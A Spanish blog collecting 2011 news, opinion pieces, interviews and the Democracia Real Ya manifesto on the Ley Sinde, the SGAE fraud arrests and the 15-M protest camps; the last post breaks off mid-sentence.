González-Sinde Odia Internet

La Asociación de Internautas pide la dimisión de Sinde porque es «juez y parte»

2011-07-04T10:57:00.000+02:00

El presidente de la Asociación de Internautas, Víctor Domingo, ha pedido la dimisión de la ministra de Cultura, Angeles González-Sinde, por no haberse responsabilizado de "auditar y fiscalizar las cuentas" de la Sociedad General de Autores y Editores (SGAE) y ser "juez y parte" en el proceso.

"Tendría que dimitir de forma inmediata porque nos ha obligado a los ciudadanos a dar el paso que tendría que haber dado el Ministerio de Cultura", ha asegurado Domingo a Europa Press. En este sentido, ha indicado que la ministra debería haber presionado para que las "las cuentas fueran transparentes". "No podemos tener una ministra de cultura que sea juez y parte", ha denunciado.
Según se ha quejado, el presidente de la SGAE, Teddy Bautista "levantaba teléfonos, ponía ministras e incluso ha influido en el Gobierno y la oposición para hacer leyes como el canon digital que ahora mismo es ilegal". Asimismo, Domingo ha afirmado que la detención del presidente de la SGAE y ocho miembros más, por un presunto desvío de fondos, es un "momento agridulce", ya que "por lo menos" se reconoce que los internautas no son "los ladrones ni los piratas".
A su juicio, la situación que se está viviendo en la SGAE traerá cambios, ya que "los autores se tienen que dar cuenta de que son víctimas" y que no pueden pertenecer "de forma democrática a una asociación en la que el 90 por ciento no puede votar quién es su presidente".
Para la Asociación de Internautas lo más importante es que se abra un debate motivado desde el Ministerio de Cultura en el nuevo paradigma digital. "Los derechos de autor son unos derechos legítimos pero no están por encima de los derechos fundamentales como clasificar al conjunto de los ciudadanos como culpables de un delito", ha afirmado Víctor refiriéndose al canon digital. "Y desde luego los derechos de autor, en lo que se refiere a la Ley Sinde, no están por encima de la libertad de expresión de la privacidad de las comunicaciones".
Asimismo, Víctor Domingo ha afirmado que la Ley Sinde y el canon digital son "imposiciones que hoy, 3 de julio y con Teddy Bautista delante del juez Ruz" los internautas no van a "seguir aceptando".

¿Y ahora qué?

2011-07-04T10:53:00.000+02:00

El juez de la Audiencia Nacional Pablo Ruz ha decretado la puesta en libertad con cargos para el presidente ejecutivo de la Sociedad Española de Autores y Editores (SGAE), Teddy Bautista, y los otros dos directivos de la entidad de gestión detenidos por la Guardia Civil en el marco de la investigación sobre la presunta comisión de delitos societarios y de blanqueo de capitales: el director general Enrique Loras, el director económico y financiero, Ricardo Azcoaga.

Los tres han abandonado ya las dependencias judiciales en un coche que esperaba a la puerta de la Audiencia Nacional.

El magistrado les imputa delitos continuados de apropiación indebida que califica como "de especial gravedad atendido el valor de la defraudación" (penado con hasta seis años de prisión) y administración fraudulenta (hasta cuatro años de cárcel).

Además, en el caso de Bautista, Ruz le acusa de la comisión de un delito societario a causa de la "negativa o impedimento" a los socios del ejercicio de los derechos de información y participación.
El magistrado toma ahora declaración a la principal accionista de la empresa Microgénesis, Elena Vázquez, y su director financiero, Celedonio Martín. Los cuatro detenidos restantes (el director general de la SDAE, Enrique Loras y su esposa María Antonia García Pombo, la hermana de ésta, Eva, y uno de los socios directores de Microgénisis) no pasarán a disposición judicial hasta mañana lunes.
En su auto, hecho público este domingo, el juez especifica como medidas cautelares la prohibición de abandonar el territorio español y la obligatoriedad de fijar un domicilio donde puedan ser localizados. A la vista de las circunstancias de "especial arraigo en España" de los directivos de la SGAE, no considera que exista probabilidad de fuga.
Además, Ruz especifica que mantendrá el secreto de sumario sobre la causa durante el tiempo necesario para evitar que se frustre el resultado de la investigación y concreta que al menos se prolongará hasta que declaren todos los detenidos.
Según se desprende del auto, las pesquisas han conducido a la entrada y registro de catorce domicilios de particulares y empresas, entre ellas la sede de la propia SGAE. Además, ha ordenado el bloqueo de cuentas y la prohibición de disponer de propiedades mobiliarias e inmobiliarias a determinados imputados.
Víctor Manuel: "Teddy está como una moto"
El cantante Víctor Manuel, miembro de la directiva de la SGAE, defiende una vez más la inocencia de Teddy Bautista y asegura que el presidente ejecutivo de la entidad se encuentra con "mucha fuerza" y "como una moto" tras ser puesto en libertad.
"Creo absolutamente en su inocencia. El juez está comenzando ahora los interrogatorios y no puedo saber los datos que tiene el juez para hacer esta imputaciones, pero por lo que yo conozco, hay muchísimo humo dentro de este caso", alega Víctor Manuel.
Asimismo, asegura que este lunes se reunirá con Teddy Bautista, quien se encuentra con la moral "altísima" y tratarán varios asuntos que tienen pendientes. En este sentido ha confirmado que la SGAE reclamará "daños y perjuicios" y precisa que la "nueva junta directiva se personará como perjudicado si hay alguna operación que se haya hecho fraudulenta". "En cien años de historia es la primera vez que la SGAE se enfrenta a un caso así", ha concluido.
Detenciones del viernes
Las detenciones se produjeron el pasado viernes a raíz de la investigación llevada a cabo desde 2010 por la Unidad Central Operativa (UCO) de la Guardia Civil y la Fiscalía Anticorrupción.
Esta mañana, tras permanecer en dependencias del Instituto Armado desde la tarde del viernes, fueron trasladados a la Audiencia Nacional donde se sometieron al interrogatorio del juez y del fiscal anticorrupción José Miguel Alonso que, en el caso de Bautista, se prolongó durante casi cuatro horas.
Las diligencias sobre la SGAE arrancaron en marzo de 2010, momento en el que el titular del Juzgado Central de Instrucción número 5, entonces Baltasar Garzón, recibió una denuncia presentada por la Fiscalía Anticorrupción.
A partir de ese momento, Anticorrupción y la Unidad Central Operativa (UCO) de la Guardia Civil han desarrollado una detallada investigación que ha culminado en la detención de nueve personas.

Acampada itinerante

2011-06-13T10:41:00.000+02:00

El grupo de indignados que no quería salir de Sol, decidió finalmente transformarse en una "acampada itine-rante" que recorrerá los barriosy pueblos de Madrid donde las asambleas decidan acojerla. Aun así, los más nostálgicos todavía pretendían ayer, al cierre de esta edición, pernoctar un día más en la plaza.

De cuántas personas permanezcan allí a partir de ahora depende la actuación del Ministerio del Interior y, en su caso, del Ayuntamiento. Entre los indignados se han situado personas ajenas al movimiento, incluidas algunas que ya dormían habitualmente en la calle, informa Pedro Águeda. Si los acampados pasan a ser un grupo pequeño desvinculado de cualquier protesta podría ocurrirque el problema de orden público se reduzca a otro que sólo contravenga las ordenanzas municipales, por lo que sería el ayuntamiento el competente del desalojo, informaron fuentes de Interior.

En Barcelona viven una situación parecida, aunque los indignados ya han advertido que no respaldarán a los okupas en caso de desalojo, informa Europa Press. Y en Sevilla, Málaga, Santiago y Tarragona, entre otras ciudades, la acampada permanecerá al menos hasta después de la manifestación convocada para el próximo domingo día 19.

Los indignados levantan las acampadas pero aseguran que "el 15-M continúa"

2011-06-13T10:39:00.000+02:00

Los grupos de trabajo del movimiento seguirán reuniéndose para debatir y convocar nuevas acciones

En la Puerta del Sol de Madrid ya no hay poemas colgados por todos los rincones de la plaza, ni barracones, ni toldos, y ya casi ni indignados. Desde ayer, sólo una placa situada bajo el caballo de Carlos III recuerda que allí nació la #spanishrevolution. "Dormíamos. Despertamos. Plaza tomada", reza la nueva decoración de la estatua.

El campamento se levantó ayer, a lo largo de todo el día, en una jornada emotiva y festiva, donde las actividades orga-nizadas, lejos de simbolizar el fin del movimiento 15-M, exha-laban aires de energía para continuar con las protestas.

Madrid se unió, así, a los indignados de Pamplona, Teruel y Granada, que ya levantaron el campamento a lo largo de la semana pasada. Salamanca, Soria, Oviedo, Almería y Huelva, entre otras ciudades, también se marcharon ayer de sus respectivas plazas principales.
En la capital, mientras unos recogían palés, toldos y documentos en diferentes locales privados o de asociaciones de vecinos, los grupos de trabajo, las reuniones de las distintas comisiones, los talleres artísticos y la asamblea general que tuvo lugar a las 17:00 horas se llevaron a cabo con la normalidad con que se han celebrado a lo largo de las cuatro semanas de acampada.
En esa última asamblea, presidida por una pancarta con la despedida "Nos vemos en los barrios", miembros de las distintas comisiones resumieron las funciones desem-peñadas durante todo ese tiempo, recordaron sus inicios (cuando sólo tenían "una mesa de camping") y anunciaron las próximas reuniones y acciones con las que mantendrán vivo el movimiento.

"Nos transformamos para continuar trabajando, evolucionando y aprendiendo de estagran escuela a pie de calle que ha sido la Acampada Sol y que ahora también son los barrios, municipios y otras ciudades españolas y del planeta", explicaron ayer en su página web. Y es que, como han reiterado desde que tomaron la decisión de marcharse, "la acampada se va, pero el 15-M continúa".

Ley Mordaza o cómo el Gobierno podría censurar la red

2011-06-06T15:37:00.002+02:00

Leire Pajín es capaz de descubrir desigualdad hasta en el PIB y claro, con el objetivo de salvarnos a todos de las garras de la discriminación se siguen lanzando normativas. La última es la “Ley para la Igualdad de Trato y la No Discriminación”; también acuñada como “Ley Mordaza“.
En principio el objetivo no es otro que proteger a las minorías, pero el anteproyecto presentado es tan caótico y contradictorio que acaba conviertiéndose en la coartada perfecta para el censor. Si la Ley Sinde era potencialmente peligrosa contra la libertad de expresión, aquí hablamos de cómo el Gobierno podría cerrar miles de blogs, quizás incluso el que leéis, si le viniera en gana.
Difícilmente podría evitarse ya que un repaso al texto revela cómo un órgano unipersonal elegido a dedo (mediante Real Decreto), sin pasar Congreso de los Diputados y elegido por el Gobierno será el encargado de acusar a bloggers, quienes tendrán que demostrar que no hicieron nada injusto ya que eso de la presunción de inocencia es cosa de otros tiempos. Sarkozy diría que esto propio de una dictadura.

Destripando la Ley Mordaza

Las razones para sufrir el peso de una justicia que no veo por ningún lado es si en la moderación de comentarios existe alguna discriminación por “razón de nacimiento, origen racial o étnico, sexo, religión, convicción u opinión, edad, discapacidad, orientación o identidad sexual, enfermedad, lengua o cualquier otra condición o circunstancia personal o social” (Art.2).
La mayoría de los puntos son razonables, pero indagando en el amplio concepto de “opinión” podríamos llevarnos una multa de entre 10.000 y 60.000 euros e incluso llegar al cierre del blog si algún usuario comienza a opinar de un tema irrelevante que no tiene nada que ver con la noticia original, por ejemplo, de fútbol.
Entonces es cuando se plantean las preguntas: ¿cómo distinguir cuando le discriminamos y cuando es un verdadero incordio para el desarrollo de la página que merece ser eliminado? ¿Y si hablo de política sin cesar en un blog de deportes molestando a otros usuarios? ¿Y si alguien escribe en un idioma que no puedo moderar? La respuesta es que no hay respuesta. Si no te ajustas a una norma más subjetiva que tu color favorito, abre la cartera.
En ese caso, abrumados por las duras penas que propone la Ley podríamos decidir no moderar, pero no es tan sencillo. Incluso aunque queramos ser estrictos también podríamos ser multados, ya que se nos puede acusar de un concepto aún más ambiguo y maleable a gusto del consumidor: la discriminación indirecta. ¿Cuándo discriminamos indirectamente?

“Cuando una disposición, criterio o práctica aparentemente neutros ocasiona o puede ocasionar a una o varias personas una desventaja particular con respecto a otras”.

La redacción de esa frase desde un punto e vista legal es tan interpretable que si naciera de una república bananera diríamos (con razón) que se trata de una aproximación al totalitarismo. Prácticamente aplicando unas normas u otras según convenga y con un poco de labia, podríamos justificar el cierre de cualquier blog con comentarios.
Con el pack conjunto de Sinde y Pajín tenemos la mezcla perfecta de las instituciones para controlar la red y que parezca un accidente en uno de esos países en donde nos las damos de demócratas. Eso sí, luego no contarán que Internet es el futuro, que hay que protegerlo para que sea libre, ya.
ACTUALIZACIÓN: La crítica no sea realiza al texto literal en cuanto a los hechos sobre los cuales se pretende evitar la discriminación, sino en cuanto a su posible aplicación en la web. Dada la naturaleza de la misma, el anonimato imposibilita la mayoría de las discriminaciones, siendo la de opinión y lengua las únicas posibles. Si tenemos en cuenta el comportamiento de los usuarios; una Ley redactada tal y como está este borrador es una muestra de incomprensión del mundo que se desarrolla en la red. Quizás para hace 15 años hubiera sido razonable, pero culpar al webmaster como si se tratase de un medio clásico con control absoluto resulta un potencial ataque a la libertad.

La Junta Electoral Central prohibe las manifestaciones

2011-05-20T10:21:00.001+02:00

La decisión de la Junta Electoral Central (JEC) tomada anoche de prohibir las manifestaciones en la jornada de reflexión y el día de las votaciones ha provocado un efecto llamada entre los jóvenes de Madrid y la acampada de la Puerta del Sol ha crecido considerablemente en las últimas horas.

Aunque el movimiento «15-M toma la plaza» respeta la decisión de la JEC asegura que los concentrados no tienen intención de irse de Sol, porque consideran que no están influyendo en la decisión de los ciudadanos a la hora de ejercer su derecho al voto. A la pregunta de qué harán si la Policía interviene e intenta desalojarles, uno de los portavoces de los concentrados ha dicho a Efe que son un movimiento pacífico por lo que esperan que todo se desarrolle pacíficamente. Como si de un cámping se tratara, el campamento de Sol se extiende a lo largo y ancho de la plaza y los toldos azules de días atrás ocupan ahora tan sólo un 30 por ciento, aproximadamente, del espacio.

El campamento ha aumentado y hay numerosas tiendas de campaña ubicadas en toda la plaza que se encuentra dividida en «calles» que han marcado los jóvenes con cinta de carrocero.

Más despiertos que otros días a estas horas, los concentrados empiezan a trabajar en las labores de limpieza, mientras se organizan por turnos para desayunar y descansar, ante la atenta mirada de la Policía -situada frente a la sede del Gobierno de la Comunidad de Madrid- que sigue vigilando sus movimientos. A mediodía, está previsto que vuelva a celebrarse una asamblea en la que los concentrados pondrán en común sus propuestas, reflexionarán y marcarán los pasos a dar en las próximas horas.

Previsión del Gobierno

El jefe del Ejecutivo, José Luis Rodríguez Zapatero, ha explicado hoy que el Ministerio de Justicia estudia la resolución de la Junta Electoral Central que prohíbe movilizaciones en la jornada electoral y ha garantizado que el Ministerio del Interior «actuará bien, correctamente, con inteligencia». Entrevistado en la SER, Zapatero no ha querido adelantar acontecimientos ni desvelar si las fuerzas de seguridad disolverán las concentraciones del denominado movimiento 15-M, y ha vuelto a mostrar su respeto y su sensibilidad ante las protestas pacíficas. «El Ministerio del Interior y el Gobierno actuarán bien, de manera inteligente; eso es lo que queremos, que se garanticen todos los derechos y se respete una jornada de reflexión, pero no adelantemos acontecimientos».

15M, una marcha imparable

2011-05-18T13:41:00.001+02:00

Más de 300 jóvenes permanecen esta mañana en la Puerta del Sol, convertida desde el domingo en el epicentro de las protestas sociales contra el sistema. Tras la multitudinaria acampada de anoche, desde primera hora han empezado a organizarse para pasar el día, vigilados por la policía que, al contrario que ayer, no ha intervenido. Anoche, cerca de 4.000 personas, según las autoridades, respondieron al llamamiento que corrió por las redes sociales para reunirse a las ocho de la tarde en la céntrica plaza. La idea es mantener la acampada al menos hasta el próximo domingo y convocar una gran movilización el viernes o el sábado.

Tras dormir muy pocas horas, comparten cafés traídos en termos y se despiden de los que dejan la zona para ir a trabajar o a la Universidad. Los presentes, movilizados en muchos casos a través de las redes sociales por diferentes colectivos ciudadanos en protesta por la situación política y social, han creado siete comisiones para distintos trabajos: alimentación, infraestructuras, acción, comunicación, coordinación interna, legal y limpieza.

Los servicios de limpieza han pasado por la plaza y los congregados, que no quieren que su convocatoria suponga un gasto público, han apilado los cartones que usaron para dormir con el fin de reutilizarlos. La plaza empieza a recobrar su ritmo normal, con el paso del tráfico, los turistas y los vecinos, muchos de ellos sorprendidos. Una mujer de mediana edad les ha dicho: "Os paga la izquierda por molestar al Ayuntamiento". Ha sido abucheada. Un jubilado les ha enseñado el recibo del banco para que vean lo poco que le queda hasta fin de mes.

Además de en Madrid, la noche ha sido larga en otras ciudades españolas. En Granada, la policía ha desalojado de madrugada uno por uno al centenar de integrantes del movimiento 15-M que estaban acampados en el paseo del Salón y ha detenido a tres personas. En el resto de ciudades andaluzas, las concentraciones se disolvieron sin incidentes. En el caso de Sevilla se ha convocado una acampada indefinida en la plaza de la Encarnación a partir de mañana.

En Madrid, decidieron anoche quedarse hasta el domingo. La multitud se sentó en el suelo y el silencio recorrió la plaza. "¿Queréis que nos quedemos aquí?", preguntó una chica con un megáfono. El "sí" unánime desató los aplausos. Cercados por cerca de 300 policías que controlaban todas las calles aledañas a la plaza, los manifestantes fueron abarrotando Sol al grito de "lo llaman democracia y no lo es" o "menos policía y más educación". A las ocho de ayer, un aplauso, acompañado de una sonora pitada, marcó el comienzo de la protesta. Había jóvenes y no tan jóvenes. Carmen Rivero, de 51 años, estaba casi emocionada: "Nos han quitado la dignidad pero estamos empezando a recuperarla".

Los miembros del Cuerpo Nacional de Policía, apoyados por la Policía Local de Granada, gobernada por el PP, informaron que los detenidos son tres personas de 22, 23 y 34 años a quienes se les acusa de “resistencia a la autoridad”, extremo que niegan los manifestantes. Los integrantes del movimiento 15-M solicitarán hoy permiso para volver a concentrarse a las ocho de la tarde en la Plaza del Carmen de Granada. En Sevilla, la acampada está prevista a partir de mañana.

El movimiento que comenzó el pasado domingo con multitudinarias manifestaciones en más de 50 ciudades de España en protesta por la crisis económica y política no se detiene y a apenas cinco días de las elecciones autonómicas y municipales los indignados, como ya se les conoce, han tomado el protagonismo de la campaña electoral. La plataforma Democracia Real Ya!, convocante de las marchas del domingo, se desvincula ahora del movimiento. "Nosotros solo lo empezamos, ahora son los ciudadanos los que se han organizado", dijo Carlos Paredes, uno de sus portavoces, que aprovechó las cámaras de los medios de comunicación para pedir "a aquellos que quieren montar gresca que se queden en casa".

Insisten en que es un movimiento pacífico, que aboga por "despertar la conciencia social" y se desmarcan de cualquier partido político o asociación. "Somos ciudadanos y tenemos derecho a indignarnos", gritó una joven a través del megáfono. E indignada estaba Andrea Foch, que no dudó en introducirse en el tumulto empujando el carrito de su bebé de unos meses.Tiene 27 años y a los cinco meses de embarazo la echaron de la escuela infantil en la que trabajaba como educadora porque iba a ser madre. "Para indignarse, ¿no?", pregunta mientras inicia una consigna que enseguida cala entre la gente y se repite: "Indignados y organizados".
Con la decisión de acampar en la plaza tomada al grito de "¡no nos vamos!" y "no tenemos casa nos quedamos en la plaza", una chica que tomó la palabra durante la asamblea exigió compromiso. "Si decimos que sí es que sí, que luego nos quedamos pocos y nos pegan", dijo en referencia a la carga policial que desalojó el campamento espontáneo que se había formado el domingo. Los manifestantes contestaron con risas y aplausos.
Y tras las decisiones, comenzó la organización del campamento. A las once de la noche una lona gigante celeste cubría parte de la plaza y el suelo estaba alicatado con cartones. En Tirso de Molina se montó un puesto gratuito de comida y bebida, que se fue abasteciendo a medida que avanzaba la noche por medio de donaciones. Un cocinero, por ejemplo, llevó hasta 40 litros de salmorejo. "Que esto no se convierta en un botellón", advirtió desde el principio un grupo de jóvenes, que se hizo cargo de la organización.
Se crearon cinco comisiones: alimentación, comunicación, infraestructuras, acción y actividades y asesoramiento legal ante posibles denuncias. Todo el que quisiera colaborar solo tenía que decirlo. En torno a las tres de la madrugada, la Puerta del Sol seguía llena de gente y las mantas y los sacos de dormir se amontonaban alrededor de la estatua de Carlos III a lomos de su caballo. Las garrafas de agua comenzaron a pasar de mano en mano. Y el goteo de voluntarios que se acercaban al caballo de Carlos III preguntando qué podían hacer no paraba.

Manifiesto "Democracia Real YA"

2011-05-18T13:15:00.001+02:00

Te invitamos a que suscribas el manifiesto con tu firma: podrás introducirla en el formulario situado al final del mismo.
MANIFIESTO “DEMOCRACIA REAL YA”:
Somos personas normales y corrientes. Somos como tú: gente que se levanta por las mañanas para estudiar, para trabajar o para buscar trabajo, gente que tiene familia y amigos. Gente que trabaja duro todos los días para vivir y dar un futuro mejor a los que nos rodean.
Unos nos consideramos más progresistas, otros más conservadores. Unos creyentes, otros no. Unos tenemos ideologías bien definidas, otros nos consideramos apolíticos… Pero todos estamos preocupados e indignados por el panorama político, económico y social que vemos a nuestro alrededor. Por la corrupción de los políticos, empresarios, banqueros… Por la indefensión del ciudadano de a pie.
Esta situación nos hace daño a todos diariamente. Pero si todos nos unimos, podemos cambiarla. Es hora de ponerse en movimiento, hora de construir entre todos una sociedad mejor. Por ello sostenemos firmemente lo siguiente:

Las prioridades de toda sociedad avanzada han de ser la igualdad, el progreso, la solidaridad, el libre acceso a la cultura, la sostenibilidad ecológica y el desarrollo, el bienestar y la felicidad de las personas.

Existen unos derechos básicos que deberían estar cubiertos en estas sociedades: derecho a la vivienda, al trabajo, a la cultura, a la salud, a la educación, a la participación política, al libre desarrollo personal, y derecho al consumo de los bienes necesarios para una vida sana y feliz.

El actual funcionamiento de nuestro sistema económico y gubernamental no atiende a estas prioridades y es un obstáculo para el progreso de la humanidad.

La democracia parte del pueblo (demos=pueblo; cracia=gobierno) así que el gobierno debe ser del pueblo. Sin embargo, en este país la mayor parte de la clase política ni siquiera nos escucha. Sus funciones deberían ser la de llevar nuestra voz a las instituciones, facilitando la participación política ciudadana mediante cauces directos y procurando el mayor beneficio para el grueso de la sociedad, no la de enriquecerse y medrar a nuestra costa, atendiendo tan sólo a los dictados de los grandes poderes económicos y aferrándose al poder a través de una dictadura partitocrática encabezada por las inamovibles siglas del PPSOE.

El ansia y acumulación de poder en unos pocos genera desigualdad, crispación e injusticia, lo cual conduce a la violencia, que rechazamos. El obsoleto y antinatural modelo económico vigente bloquea la maquinaria social en una espiral que se consume a sí misma enriqueciendo a unos pocos y sumiendo en la pobreza y la escasez al resto. Hasta el colapso.

La voluntad y fin del sistema es la acumulación de dinero, primándola por encima de la eficacia y el bienestar de la sociedad. Despilfarrando recursos, destruyendo el planeta, generando desempleo y consumidores infelices.

Los ciudadanos formamos parte del engranaje de una máquina destinada a enriquecer a una minoría que no sabe ni de nuestras necesidades. Somos anónimos, pero sin nosotros nada de esto existiría, pues nosotros movemos el mundo.

Si como sociedad aprendemos a no fiar nuestro futuro a una abstracta rentabilidad económica que nunca redunda en beneficio de la mayoría, podremos eliminar los abusos y carencias que todos sufrimos.

Es necesaria una Revolución Ética. Hemos puesto el dinero por encima del Ser Humano y tenemos que ponerlo a nuestro servicio. Somos personas, no productos del mercado. No soy sólo lo que compro, por qué lo compro y a quién se lo compro.

Por todo lo anterior, estoy indignado.

Creo que puedo cambiarlo.
Creo que puedo ayudar.

Sé que unidos podemos.

Sal con nosotros. Es tu derecho.
Manifest (català)

Manifesto (galego)

Agiria (euskera)
Manifiestu (asturianu)

Manifesto (English)

Firma en: http://democraciarealya.es/?page_id=88

'Democracia Real Ya'

2011-05-16T11:18:00.005+02:00

A una semana de las elecciones del 22M miles de jóvenes han tomado las calles para exigir una democracia real y más participativa, así como quejarse por el bipartidismo y la desafección de una clase política y financiera que no atiende a los problemas reales de la ciudadanía. ¿Conoces sus propuestas?

La resaca de las manifestaciones que ayer tomaron las calles de 50 ciudades españolas obliga a detenerse a pensar. ¿Quiénes son? Y, ¿qué piden? A la primera pregunta se da respuesta desde la página de inicio de la organización convocante, 'Democracia Real Ya': "Nosotros los desempleados, los mal remunerados, los subcontratados, los precarios, los jóvenes... queremos un cambio y un futuro digno".

Y explican: "Estamos hartos de reformas antisociales, de que nos dejen en el paro, de que los bancos que han provocado la crisis nos suban las hipotecas o se queden con nuestras viviendas, de que nos impongan leyes que limitan nuestra libertad en beneficio de los poderosos. Acusamos a los poderes políticos y económicos de nuestra precaria situación y exigimos un cambio de rumbo".

Sin una filiación política concreta (al menor declarada), por cuanto el movimiento pretende sobre todo aglutinar el descontento frente a unas estructuras incontrolables por los ciudadanos, sí se ha dicho reiteradamente que no se trata de una llamada a la abstención. Sí, contra el bipartidismo.

PROPUESTAS CONCRETAS

Lejos de quedarse en grandes declaraciones de intenciones, la plataforma se anticipa a las posibles críticas y se esfuerza por concretar alguna protestas que también pueden leerse en la página web. Entre ellas, sobre los políticos, por ejemplo, "supresión de los privilegios en el pago de impuestos, los años de cotización y el monto de las pensiones" ó la "eliminación de la inmunidad asociada al cargo. Imprescriptibilidad de los delitos de corrupción".

Respecto al desempleo, "reparto del trabajo fomentando las reducciones de jornada y la conciliación laboral hasta acabar con el desempleo estructural" ó "bonificaciones para empresas con menos del 10% de empleo temporal". Asimismo, proponen medidas sobre vivienda, como "que se permita la dación en pago de las viviendas para cancelar las hipotecas" o para controlar a las instituciones financieras, como la "prohibición de cualquier tipo de rescate o inyección de capital a entidades bancarias: aquellas entidades en dificultades deben quebrar o ser nacionalizadas para constituir una banca pública bajo control social".
Y, ¿AHORA QUÉ?
En Twitter la etiqueta '15mani' continúa en el liderato del los trending topic desde ayer, ya ya tiene alternativa en inglés para hacer llegar el eco de las protestas lejos de nuestras fronteras: 'spanishrevolution'. Y, la pregunta que está en boca de todos, ¿habrá más manifestaciones?, ¿cuándo?

Visto en: http://www.que.es/ultimas-noticias/espana/201105161002-democracia-real-manifestaciones-15m-que-cont.html

González-Sinde en Buenafuente

2011-04-12T11:29:00.005+02:00

He aquí la gran mentira de la televisión, que asco... un día critica a esta señora y ahora la invita al programa para lamerle el culo. Buenafuente, has caido bajo...

¿Será el efecto Sansón, por haberse cortado la perilla?

Aquí el original...mientras funcione...

Entrevista a Santiago Segura

2011-03-29T11:22:00.001+02:00

La última entrega de Torrente ya supera los 17 millones de euros de recaudación. Su creador, Santiago Segura, es el culpable de que el cine español gane cuota de pantalla. Dice que le pone "cachondo" cuando le acusan de ser un director comercial y considera que la ley Sinde ha llegado "tarde y mal". –¿Es usted millonario? –¿Millonario como Botín? ¿Como algunos de los futbolistas de primera división? Defina millonario. –Pues millonario es quien tiene millones en el banco. –Entonces no lo soy. Pero me haría mucha ilusión. He oído decir que el dinero no da la felicidad, pero siempre se lo he oído decir a gente que lo tiene. –¿Pero usted no es el rey Midas de nuestro cine? –Sí, pero es que el cine español... Si me dijeras que soy el rey Midas de la inmobiliaria o de la bolsa... –¿Por qué en el cine español miran tan mal a las películas comerciales? –A mí me dicen que hago cine comercial como si fuera un insulto. Pero para mí es como si me llamasen guapo. Me pone incluso cachondo. Soy un cinéfilo empedernido. Me gusta todo tipo de cine y soy muy ecléctico con mis gustos. Y hay grandes películas comerciales que me encantan. Cuando los americanos hacen las listas ésas de las diez películas más valoradas, todas ellas son cintas comerciales. Es decir, que las ha visto muchísima gente y que han tenido una gran carrera en los cines. Por eso yo no tengo ningún complejo. Pero eso sí: aquí la gente te mira un poco por encima del hombro porque haces películas que va a ver la gente. –¿Y puede ser que esa mirada por encima del hombro de los cineastas hacia el público sea uno de los grandes males de nuestro cine? –¿Crees que alguien no quiere que se vean sus películas? Yo me lo pregunto muchas veces y pienso que hasta el cineasta más auteur quiere encontrar a su público y ver la salas llenas. –De acuerdo, pero el divorcio entre cine español y público es evidente. –En eso es que somos un poco frikis. El público francés abraza a su cine y lo quieren un poquito más. Y eso que la calidad del cine francés, con todo mis respetos para el país galo, es similar al español. Es decir: hay películas buenas, malas y regulares. Pero nosotros no. Y en parte, el error es que se le da a entender al público que somos una industria parasitaria o subvencionada, cuando en España hay un alto porcentaje de industrias que reciben subvención y que no podrían sobrevivir sin ella. Las hidroeléctricas están subvencionadas. Y hasta hace cuatro días, el papel con el que se imprimían los periódicos estaba subvencionado. Y la gente no lo sabe, como tampoco sabe que la cantidad que se le dedica al cine es ridículo si la comparamos con la que se dedica a los museos, por ejemplo. Pero es que ese dinero sirve para subsistir. ¿Qué pasa, queremos que desaparezca el cine español? Pues no, al igual que no queremos que cierre el Museo del Prado. –¿Recibe subvención su Torrente 4? –La tendrá, como todas las películas. El 10% del presupuesto será subvencionado. –¿Y no sería lógico devolver esa subvención cuando los beneficios que genera la película son tan elevados? –Eso sería como no aceptar el dinero cuando en Hacienda te sale a devolver. La ley te perjudica tanto siempre que para una vez que puedes optar a algo beneficioso... –Las primeras críticas suelen doler, pero después de cuatro Torrentes, ¿le resbala lo que digan los plumillas? –Sinceramente, en esta última ocasión me han sorprendido porque han sido muy suaves. Incluso ha habido críticas positivas. Cuando el viernes del estreno leí los periódicos y vi que me ponían bien me corrió un sudor frío: pensé que no la iba a ver ni Dios. Creo que la crítica ha evolucionado y mira al cine de otra forma. No puedes entrar a ver Torrente 4 como si fueras a ver una de Rohmer. –¿Bigas Luna o González Macho? –Prefiero no pronunciarme. El voto es secreto. Conozco a los dos y ambos son dos grandes profesionales. Además, los dos me caen bien a nivel personal. Quizás me inclinaría un pelín más por Luna, porque es un creador y hace que me sienta más afín, pero González Macho es un tío que lleva cuarenta años en la industria y le veo muy capaz. –¿Pierde mucho la Academia con la salida de Álex de la Iglesia? –Creo que ha sido de los mejores presidentes que ha tenido la Academia de Cine en su historia. Y siento su marcha. –¿Y que opina de la ley Sinde? –Pues me parece que es una ley que ha llegado muy tarde y que encima no me parece satisfactoria para nadie. Estoy deseando que alguien defienda mis derechos y que regule las transacciones digitales, pero sin que eso conlleve tocar las libertades dentro de la red. Creo que se podría haber hecho mucho mejor. El Gobierno me parece inepto, dejado, cutre y casposo. Además, me siento más cerca de ser internauta que de la clase política. Visto en: http://ocio.diariodemallorca.es/cine/noticias/nws-11414-me-pongo-cachondo-cuando-me-dicen-hago-cine-comercial.html

Siniestro Total hablando de la "Ley Sinde"

2011-03-21T16:50:00.001+01:00

¿Hablamos de la ley Sinde? ¡Ajá, estamos en la llama! Y no lo decimos por la ley antitabaco que ha olvidado prohibir el botafumeiro que, como su propio nombre indica, también ‘bota fume’. Bueno, vamos allá. La Ley Sinde no existe: es sólo un apartado de la ley de economía sostenible o como carajo se llame. Y ese es el principio de todos los problemas. Hacen falta unas normas específicas que regulen la industria cultural y la difusión de sus productos. No es pensable, por ejemplo, que cinco tipos, como nosotros y este ‘Country & Western’ que acabamos de sacar, se tiren dos años trabajando en un proyecto manteniéndose del aire. Una cosa es que no tenga aceptación (que es un riesgo que corremos solitos) y otra es que se infravalore difundiéndose gratuitamente sin que nosotros hayamos decidido regalarlo. El argumento es que los músicos nos tenemos que conformar con tocar en directo. ¡Vaya novedad! Si siempre ha sido así en este país... Se está utilizando la demagogia y eso está muy feo. Si lo que se quiere son productos culturales gratis no hay problema: ya los hay. Shakespeare y Bach no tienen derechos pero mucho nos tememos que de lo que se trata, antes que de leer a William y escuchar a Johann Sebastian, es de tener lo último de Lady Gaga por la cara. Es una actitud muy carpetovetónica, igual que la de erigirse en representante de lo que sea. (¿De dónde sale una asociación de internautas con legitimidad para ser recibida en un ministerio o para rechazar una ley? Todos —y cuando decimos todos, es TODOS— somos internautas y a nosotros nadie nos ha consultado nada ni nos ha pedido una autorización para hablar en nuestro nombre.) El problema es que la industria del entretenimiento no puede fabricar productos nuevos si no tiene ni la más remota posibilidad de amortizarlos. Tampoco es un problema tan grave: se desmantela la industria y cada uno en su casa y Dios en la de todos. Lo más paradójico es defender la gratuidad de la cultura y no la de la vivienda o los alimentos: con la burbuja inmobiliaria nadie se quejó del aumento desproporcionado del precio de los pisos. La voluntad manifestada de pagar precios “razonables” por descargas es una patraña: contra la gratuidad no hay competencia posible. Llegados a este punto, también conviene recordar que 